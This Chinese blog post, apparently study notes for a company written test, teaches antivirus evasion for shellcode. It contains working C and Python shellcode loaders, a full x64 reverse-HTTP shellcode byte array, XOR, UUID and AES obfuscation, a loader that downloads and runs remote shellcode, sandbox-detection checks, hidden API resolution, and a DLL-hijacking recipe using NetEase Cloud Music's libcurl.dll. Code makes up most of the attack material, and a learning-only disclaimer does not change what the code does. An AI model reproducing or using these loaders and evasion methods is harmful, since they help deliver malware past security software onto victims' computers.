某公司的笔试题,赶紧学习一下
本文仅作学习用途分享,切勿将学习成果用于非法攻击他人计算机系统。如果有类似行为与本文无关
Shellcode
“Shellcode是一段用于攻击软件漏洞的可执行代码”——Wikipedia
其实Shellcode可以使用msf或者cs来生成,这里就先不准备细讲了。
用msf或者cs生成c格式的shellcode之后内容大概是形如下面的格式的:
1 2 3
| char buf[] = { 0x..., 0x..., ... }
|
而后面关于Shellcode的展开都会使用这段C格式的十六进制作为基础
内存执行Shellcode
这里需要引入一个函数指针的概念,可以通过函数指针指向我们要执行的函数去执行函数,例如下面这个例子能够执行print函数:
1 2 3 4 5 6 7 8 9 10 11
| #include <iostream> #include <windows.h> void print(){ std::cout << "123"; }
int main(){ void(*p)(); p = print; p(); }
|
具体解释一下函数指针,他的形式类似于下面这个格式:
1
| 函数返回值类型(* 指针变量名)(函数参数列表)
|
例如
返回int型的函数指针p,它的参数是两个int参数
而void(*p)()可以强制将函数参数转换成函数指针,再将p指向需要执行的函数,也就是p = print;,这样就能够执行print函数
接下来将shellcode加载到内存里执行需要知道虚拟内存中的机器码地址,这个时候一般需要使用到VirtualAlloc函数:
1 2 3 4
| unsigned char shellcode[] = xxx; void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)();
|
杀软查杀
杀软的查杀方式主要有两种:
- 静态查杀:文件在磁盘中的形式对文件进行检测查杀
- 动态查杀:文件在动态运行的时候在内存中的形式对文件进行查杀
除此之外,可能有一些杀软还有其他的查杀方式,例如:
- 行为查杀:对一些系统行为进行检测,包括但不限于创建进程、加载驱动程序、修改注册表、访问磁盘等
- AI分析查杀
- 网络特征查杀
静态检测
文件静态的时候,可以通过dumpbin.exe等软件来查看shellcode demo,借用文章的一张图片来作展示:
除此之外,还有可能可以通过不同的软件来查看到包括但不限于:
PE文件头信息、shellcode代码信息、shellcode loader信息、文件的hash值等
杀软在静态检测的时候,主要的目标是查杀shellcode,当然还有可能会检测一些其他信息,例如表是否存在shellcode特征等。
如何避免被静态检测到shellcode
因此比较重要的一点就是如何避免杀软检测到shellcode:
- 对shellcode的特征进行修改。这里又细分为大改和小改,大改就是将shellcode进行加密、编码等操作;小改则是根据你需要绕过的杀软的检测特征,对那一部分shellcode进行修改,同时保证代码效果不发生变化即可。大改比较简单粗暴,但是使用的时候需要还原;而小改比较复杂,需要了解杀软的规则、检测特征再针对其进行免杀
- shellcode和exe分离,也就是shellcode分离免杀技术。例如一个“正常”的exe,而shellcode放在远程,exe通过http请求获取到shellcode再动态分配内存执行
同时还有上文提到的其他一些shellcode特征,例如shellcode调用的时候会使用VirtualAlloc这些敏感api等,这里可以使用一些奇怪方式去解决,例如动态加载api,利用loadlibrary+getprocaddress来获取到某些api的地址。可以通过一些回调函数来绕过Thread()等检测
动态检测
动态查杀的实现主要有两个思路:
虚拟化:也就是沙箱。杀软可能会携带虚拟机沙箱,当文件落地的时候,如果文件是一个.exe文件,杀软可能就会先放在一个沙箱环境里模拟运行进行查杀。还有可能会对抗一些在线的沙箱,例如微步云沙箱等。
真实运行内存检测:在沙箱模拟运行完毕后,用户自己在物理机上运行后,杀软可以随时将该文件的内存dump下来进行检测
动态检测的绕过
首先是虚拟化的绕过,也就是绕过沙箱
- 检测沙箱环境,核心就是检测到沙箱环境或者是虚拟化特征之后不释放shellcode
- 样本做一些虚拟化环境、沙箱环境中做不到的操作
然后是绕过内存检测
- 内存的dump肯定是有限的,不可能无限dump内存进行检测,这样会极大地占用资源。因此杀软导出内存都是有策略地导出的,例如运行五秒钟后dump一次、检测到某些可疑行为dump一次。这个时候我们只需要在dump的时候保证shellcode等逻辑代码是被加密的即可
- 修改特征。这个方法是非常困难的,因为这个方法和静态检测中的小改思路是一样的,杀软查哪里改哪里的特征,这个方法需要不断地进行黑盒测试去修改大量特征。
静态免杀
最简单粗暴的方法就是对shellcode进行加密,也就是常说的shellcode混淆。对于混淆的方式有各种各样的,大部分是base64编码,xor,aes,rc4,添加随机字符,字符串变形等这些混淆方式的各种组合。
将shellcode加密
xor
比如使用xor加密的一个shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #include <windows.h> #include <stdio.h> #include <stdint.h> void xor_decrypt(uint8_t* data, size_t len, uint8_t* key, size_t key_len){ for (size_t i = 0; i < len; i++) { data[i] ^= key[i % key_len]; } } int main() { uint8_t encrypted_data[] = {}; uint8_t xor_key[] = {}; size_t data_len = sizeof(encrypted_data); size_t key_len = sizeof(xor_key); xor_decrypt(encrypted_data, data_len, xor_key, key_len); if (data_len == 0) { system("pause"); return 1; } printf("[*] 分配可执行内存...\\n"); void* exec_mem = VirtualAlloc(NULL, data_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec_mem) { printf("[-] VirtualAlloc失败: %lu\\n", GetLastError()); system("pause"); return 1; } memcpy(exec_mem, encrypted_data, data_len); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL); if (!hThread) { printf("[-] CreateThread失败: %lu\\n", GetLastError()); VirtualFree(exec_mem, 0, MEM_RELEASE); system("pause"); return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFree(exec_mem, 0, MEM_RELEASE); system("pause"); return 0; }
|
当然还有不同的加密方式,例如aes、RC4,还有一些更新的方式:IPv4、IPv6、MAC、UUID、XChaCha20、ECC椭圆曲线加密等
uuid
例如一个uuid的shellcode流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| const char* uuidShellcode[] = { "e48348fc-e8f0-00c0-0000-415141505251", "d2314856-4865-528b-6048-8b5218488b52", };
int main() { UUID uuid; BYTE* shellcode = (BYTE*)VirtualAlloc(NULL, sizeof(uuidShellcode)/16, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD offset = 0; for (int i = 0; i < sizeof(uuidShellcode)/sizeof(uuidShellcode[0]); i++) { UuidFromStringA((RPC_CSTR)uuidShellcode[i], &uuid); memcpy(shellcode + offset, &uuid, sizeof(UUID)); offset += sizeof(UUID); } void (*func)() = (void (*)())shellcode; func(); return 0; }
|
这里的UuidFromStringA函数是一个Windows API,它的作用是将字符串转换为UUID,并返回二进制形式指向UUID的指针
aes
再比如aes的加密算法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #include <windows.h> #include "AES.h" #include <iostream> #include <thread> using namespace std; int main() { unsigned char plain[] = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\\x12\\xe9\\x4f\\xff\\xff\\xff\\x5d\\x6a\\x00\\x49\\xbe\\x77\\x69\\x6e\\x69\\x6e\\x65\\x74\\x00\\x41\\x56\\x49\\x89\\xe6\\x4c\\x89\\xf1\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x48\\x31\\xc9\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x41\\xba\\x3a\\x56\\x79\\xa7\\xff\\xd5\\xeb\\x73\\x5a\\x48\\x89\\xc1\\x41\\xb8\\x50\\x00\\x00\\x00\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x6a\\x03\\x41\\x51\\x41\\xba\\x57\\x89\\x9f\\xc6\\xff\\xd5\\xeb\\x59\\x5b\\x48\\x89\\xc1\\x48\\x31\\xd2\\x49\\x89\\xd8\\x4d\\x31\\xc9\\x52\\x68\\x00\\x02\\x40\\x84\\x52\\x52\\x41\\xba\\xeb\\x55\\x2e\\x3b\\xff\\xd5\\x48\\x89\\xc6\\x48\\x83\\xc3\\x50\\x6a\\x0a\\x5f\\x48\\x89\\xf1\\x48\\x89\\xda\\x49\\xc7\\xc0\\xff\\xff\\xff\\xff\\x4d\\x31\\xc9\\x52\\x52\\x41\\xba\\x2d\\x06\\x18\\x7b\\xff\\xd5\\x85\\xc0\\x0f\\x85\\x9d\\x01\\x00\\x00\\x48\\xff\\xcf\\x0f\\x84\\x8c\\x01\\x00\\x00\\xeb\\xd3\\xe9\\xe4\\x01\\x00\\x00\\xe8\\xa2\\xff\\xff\\xff\\x2f\\x58\\x34\\x5a\\x77\\x00\\xbd\\xa3\\x09\\x05\\x92\\x94\\xc5\\x2c\\x92\\x73\\x8c\\x7d\\xfe\\x2c\\xa4\\x45\\xe8\\x6c\\xab\\xa5\\x52\\xec\\x1d\\x16\\x89\\x43\\x65\\x7c\\x19\\x1e\\x3e\\xc5\\x49\\x2f\\x52\\xf4\\xdc\\x29\\x12\\x73\\x35\\x72\\x89\\xba\\x04\\xdf\\xc1\\xd9\\x2d\\x20\\xec\\x91\\x82\\x56\\x29\\xc3\\x29\\x23\\x0f\\xaa\\x25\\xc1\\x6b\\x14\\x03\\x31\\x9e\\x39\\x88\\x39\\xb0\\xde\\xd8\\x00\\x55\\x73\\x65\\x72\\x2d\\x41\\x67\\x65\\x6e\\x74\\x3a\\x20\\x4d\\x6f\\x7a\\x69\\x6c\\x6c\\x61\\x2f\\x34\\x2e\\x30\\x20\\x28\\x63\\x6f\\x6d\\x70\\x61\\x74\\x69\\x62\\x6c\\x65\\x3b\\x20\\x4d\\x53\\x49\\x45\\x20\\x38\\x2e\\x30\\x3b\\x20\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x20\\x4e\\x54\\x20\\x35\\x2e\\x31\\x3b\\x20\\x54\\x72\\x69\\x64\\x65\\x6e\\x74\\x2f\\x34\\x2e\\x30\\x3b\\x20\\x2e\\x4e\\x45\\x54\\x20\\x43\\x4c\\x52\\x20\\x32\\x2e\\x30\\x2e\\x35\\x30\\x37\\x32\\x37\\x29\\x0d\\x0a\\x00\\xc1\\x01\\x5f\\x90\\xbe\\x7f\\x53\\xbb\\xa4\\xe1\\x6d\\x15\\x35\\x12\\x19\\xa0\\xb9\\xc3\\x9e\\xa6\\xa8\\xb4\\xb9\\x68\\x90\\x78\\xbf\\xab\\x92\\xc7\\x49\\xf5\\x56\\x0f\\xab\\xf0\\x17\\x6d\\x10\\x18\\xf0\\x1c\\xe5\\xed\\x23\\x3e\\x29\\x77\\x27\\xd2\\x22\\x04\\x09\\xa4\\x8b\\x0c\\x74\\xb6\\x56\\x02\\xe1\\xa0\\x3d\\x5e\\x66\\xe9\\x3c\\x93\\x1e\\x4b\\xb5\\xa9\\x60\\xcc\\x22\\x08\\x97\\x5f\\x56\\x60\\x4c\\x3c\\xb4\\x29\\xb2\\x16\\xed\\x7f\\xe9\\x54\\x64\\xf5\\xf7\\xbd\\x4c\\xd4\\x7d\\x33\\x78\\x76\\x7d\\xa8\\xe3\\x43\\xf2\\x8f\\x2d\\x1f\\x31\\xf0\\xb9\\x84\\xf7\\x1f\\x82\\x4b\\x07\\x22\\x1e\\x8d\\x1f\\xf0\\xc8\\xc1\\x06\\xb8\\xd7\\x25\\x6a\\x69\\xc7\\x5d\\x74\\x5c\\xbb\\x2e\\x3a\\xb7\\xd0\\xa1\\x62\\x74\\xc7\\x3e\\x14\\x7e\\x3f\\x3f\\x56\\xa1\\xdc\\x0c\\x1e\\xec\\xb5\\x59\\x28\\x52\\x23\\xaf\\x68\\x79\\xb5\\xf1\\xb4\\x50\\x7a\\xab\\xe4\\x28\\xf2\\x91\\x0c\\x73\\xdc\\x4c\\x49\\xc6\\xb7\\xa9\\xa9\\x8c\\x7b\\x24\\x51\\x23\\xc8\\x93\\xe2\\xd7\\x96\\x95\\x56\\x0c\\x7b\\x6a\\xad\\xaf\\x85\\xc9\\xe3\\xab\\x7c\\x35\\xfe\\x00\\x41\\xbe\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x48\\x31\\xc9\\xba\\x00\\x00\\x40\\x00\\x41\\xb8\\x00\\x10\\x00\\x00\\x41\\xb9\\x40\\x00\\x00\\x00\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x93\\x53\\x53\\x48\\x89\\xe7\\x48\\x89\\xf1\\x48\\x89\\xda\\x41\\xb8\\x00\\x20\\x00\\x00\\x49\\x89\\xf9\\x41\\xba\\x12\\x96\\x89\\xe2\\xff\\xd5\\x48\\x83\\xc4\\x20\\x85\\xc0\\x74\\xb6\\x66\\x8b\\x07\\x48\\x01\\xc3\\x85\\xc0\\x75\\xd7\\x58\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x34\\x38\\x2e\\x31\\x33\\x37\\x00\\x00\\x00\\x22\\x90";
int plain_size = sizeof(plain) / sizeof(plain[0]); if (plain_size % 16 != 0) { plain_size = plain_size + (16 - (plain_size % 16)); } printf("明文:"); for (int i = 0; i < plain_size; i++) { printf("%x", plain[i]); } printf("\n"); unsigned char iv[] = {0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}; printf("IV:"); for (int i = 0; i < 16; i++) { printf("%x", iv[i]); } printf("\n"); unsigned char key[] = { 0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }; printf("KEY:"); for (int i = 0; i < 16; i++) { printf("%x", key[i]); } printf("\n"); AES aes(AESKeyLength::AES\_128); unsigned char* cipher = aes.EncryptCBC(plain, plain_size, key,iv); printf("密文:"); for (int i = 0; i < plain_size; i++) { printf("\\\\x%02x", cipher[i]); } printf("\n");
}
|
shellcodeloader绕过
传统的shellcodeloader使用VirtualAlloc开辟shellcode的存储空间,然后使用RtlMoveMemory(memcpy)等方式将shellcode移入内存空间,再强制使用函数指针执行,这种方式较容易被检测出来,此时我们可以尝试自己动态加载loader需要的函数(VirtualAlloc)或者自己实现VirtualAlloc
这里采用动态加载的方式调用VirtualAlloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| uint8_t cipher[] = ""; char a[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\\0'}; char b[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\\0' }; char c[] = { 'N','t','d','l','l','.','d','l','l','\\0' }; char d[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\\0' };
MyVirtualAlloc myVa = (MyVitualAlloc)GetProcAddress(GetModuleHandle(a), b);
MyRtlMoveMemory myMov = (MyRtlMoveMemory)GetProcAddress(GetModuleHandle(c), d);
LPVOID mem = myVa(NULL, cipher_size +1, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); myMov(mem, res_plain, cipher_size); ((void(*)())mem)();
|
动态拉取shellcode
将shellcode和loader分离,只在运行loader的时候从远程拉取shellcode,这种方式也能够规避杀毒软件。
一个简单的loader实现如下,shellcode采用xor + base64 编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import ctypes import requests import base64 import requests import sys
def xor_decrypt(data, key): return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])
def read_hex_escape_shellcode(data): try: shellcode = bytearray() i = 0 while i < len(data): if data.startswith(b'\\x', i): hex_str = data[i+2:i+4] shellcode.append(int(hex_str, 16)) i += 4 else: i += 1 return shellcode except Exception as e: print(e) sys.exit(1)
rep = requests.get("http://example.com/1.txt").content
xor_shellcode = read_hex_escape_shellcode(base64.b64decode(rep))
xor_key = b"xxx"
decrypted_data = xor_decrypt(xor_shellcode, xor_key)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(decrypted_data)), ctypes.c_int(0x3000), ctypes.c_int(0x40) )
buffered = (ctypes.c_char * len(decrypted_data)).from_buffer(decrypted_data) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(decrypted_data)) )
handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) )
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
|
加壳
软件加壳也可以称为软件加密,或者叫软件压缩,只是压缩的方式和目的不太一样,壳是对软件所增加的保护,并不会破坏程序内部的结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
这样一来,在我们看来似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,加密的壳基本上可以将shellcode的特征全部覆盖。
市面上常见的shellcode加壳工具可以采用Themida壳进行加密,加壳效果如下(只测了电脑管家,因为笔试需要):
(192.168.54.35为自己的虚拟机ip)
动态免杀
动态免杀需要对抗的是实际的运行环境和沙箱。因此分为反沙箱和实际运行环境来展示
对抗沙箱
对抗沙箱的可以从下面几个方向来检测:
- 检查CPU个数
- 检查RAM大小
- 检查MAC地址
- 检查BIOS
…
大部分的检测方法可以从这里找到,这里就举几个有代表性的例子
检测CPU个数
判断CPU个数少于2个的时候,为非真实物理机:
1 2 3 4 5 6 7 8 9 10 11
| bool checkCPUCores(){ SYSTEM_INFO systeminfo; GetSystemInfo(&systeminfo); DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors; if (numberofProcessors < 2){ return false; } else{ return true; } }
|
检测RAM
检测RAM的大小,如果小于2G则返回非真实虚拟机
1 2 3 4 5 6 7 8 9 10 11 12
| bool checkRAM(){ MEMORYSTATUSEX memoryStatus; memoryStatus.dwLength = sizeof(memoryStatus); GlobalMemoryStatusEx(&memoryStatus); DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024; if(RAMMB < 2048){ return false; } else{ return true; } }
|
CPU温度检测
这里需要有管理员权限才能够查询:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| BOOL isAdmin() { BOOL bElevated = FALSE; HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE;
TOKEN_ELEVATION tokenEle; DWORD dwRetLen = 0;
if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen)) { if (dwRetLen == sizeof(tokenEle)) { bElevated = tokenEle.TokenIsElevated; } }
CloseHandle(hToken); return bElevated; }
|
检测开机时间
当开机时间大于一个小时的时候才认为是物理机而不是沙箱环境
1 2 3 4 5 6 7 8
| bool checkUptime(){ DWORD upTime = GetTickCount(); if (upTime > 3600000){ return true; } else{ return false; } }
|
还有更多的方法,可以参考上文提及的github链接
对抗真实运行环境
对抗真实环境需要用到上文前面提及的根据杀毒软件dump的时机对shellcode进行隐藏。当杀毒软件dump内存的时候将shellcode重新加密,dump之后解密。其实一句话来说就是动态加解密shellcode
这里的问题关键在于:
- 如何找到dump的时机,然后加解密shellcode
- 如何找到所有的shellcode
如果这里使用cobalt strike的shellcode可以通过hook sleep函数来动态完成加解密,而第二个问题会比较困难,这里贴出原文来看师傅是怎么处理的:
记一次cs样本免杀实践
白加黑
白加黑其实就是一个没有问题的exe(白),搭配上一个恶意DLL(黑)。其实就是DLL劫持。这些无害程序大多数都拥有正规的文件签名与证书,因此会被大多数免杀列入白名单里,对他们的一些敏感操作会进行规避。如果使用白名单内的程序进行DLL劫持,将其替换为自己的payload,往往可以实现恶意代码的免杀
调用DLL有一个大致的优先级,大致为:
- 程序根目录
- 系统目录(system32)
- 16位系统目录
- Windows目录
- 当前工作目录
- 环境变量PATH目录
因此如果利用原本的DLL伪造一个新的DLL,那么程序会在尝试加载DLL的时候优先载入恶意DLL,从而执行恶意代码
具体步骤如下:
- 寻找调用的dll(这个dll必须没做签名校验等行为)
- 构造恶意DLL
- 将exe和dll放到同一目录下执行
需要用到的工具是AheadLib,它能够将dll导出,然后借助visual studio来重新构建我们的恶意dll程序
白加黑实战
这里采用大家可能日常用的比较多的网易云音乐作为例子,在网易云音乐的文件夹中会有一个叫cloudmusic_reporter.exe的应用程序,将其单独复制出来并运行会报错:
将libcurl.dll复制到相同的文件夹里并尝试运行,是可以正常运行不报错的
因此可以尝试对libcurl进行攻击
导出函数
使用AheadLib构造并导出后,会生成:
创建vs动态链接库工程,然后将libcurl.cpp和libcurl_jump.asm加入到项目,接下来根据libcurl_jump.asm的注释操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ; ; created by AheadLib ; github:https://github.com/strivexjun/AheadLib-x86-x64 ; ; 把 .asm 文件添加到工程一次 ; 右键单击文件-属性-常规- ; 项类型:自定义生成工具 ; 从生成中排除:否
; 然后复制下面命令填入 ; 命令行: ml64 /Fo $(IntDir)%(fileName).obj /c /Cp %(fileName).asm ; 输出: $(IntDir)%(fileName).obj;%(Outputs) ; 链接对象: 是 ;
|
在Load函数加载恶意shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\libcurl.dll"));
g_OldModule = LoadLibrary(tzPath); if (g_OldModule == NULL) { wsprintf(tzTemp, TEXT("无法找到模块 %s,程序无法正常运行"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }
return (g_OldModule != NULL);
}
|
踩坑点
这里踩了一个坑,生成DLL的时候一致疯狂提示我这边都是没有标识符等问题,这里需要将libcurl.cpp复制到dllMain.cpp里,然后其他步骤不变
接下来要注意的是这里要将load函数里的这两行注释去掉
加入恶意shellcode
在load函数里,将白程序的名称修改:
例如我这里的是cloudmusic_reporter.exe
接下来随意找一个傀儡注入进程的代码复制进去
不过这里调试的时候一直没上线,也就没后续了.jpg
要学的东西还有很多,可能也不会再回来看了,哭。